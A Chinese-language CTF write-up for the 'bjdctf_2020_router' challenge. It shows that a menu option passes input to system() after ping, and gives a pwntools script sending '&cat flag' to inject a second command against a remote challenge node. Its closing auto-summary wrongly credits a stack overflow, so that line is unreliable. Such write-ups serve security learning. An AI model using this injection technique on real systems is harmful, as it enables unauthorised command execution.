bjdctf_2020_router
使用checksec查看:

只开启了栈不可执行,放进IDA中查看,程序逻辑代码都在main()函数中,也是一个菜单类题目

选项2和4是没有用的,来看看1和3:
- 1中用户可输入
0x10大小的string,程序将这个string用system()执行了??????? - 3 栈溢出
既然1能直接执行,那就试试直接连上去cat flag吧
当直接使用r.sendline("cat flag")时,可以看到程序其实时已经调用了系统命令ping

接下来只需要绕过ping即可,这不随便绕嘛…
r.sendline("&cat flag")

exp:
from pwn import *
#start
r = remote("node4.buuoj.cn",26453)
# r = process("../buu/bjdctf_2020_router")
#params
#attack
r.recv()
r.sendline("1")
r.recv()
r.sendline("&cat flag")
r.interactive()
本文解析了一道关于路由器安全挑战的编程题目,通过checksec和IDA的分析揭示了用户输入字符串的执行漏洞,并展示了如何利用stack overflow绕过防护,最终实现catflag文件读取。
378

被折叠的 条评论
为什么被折叠?



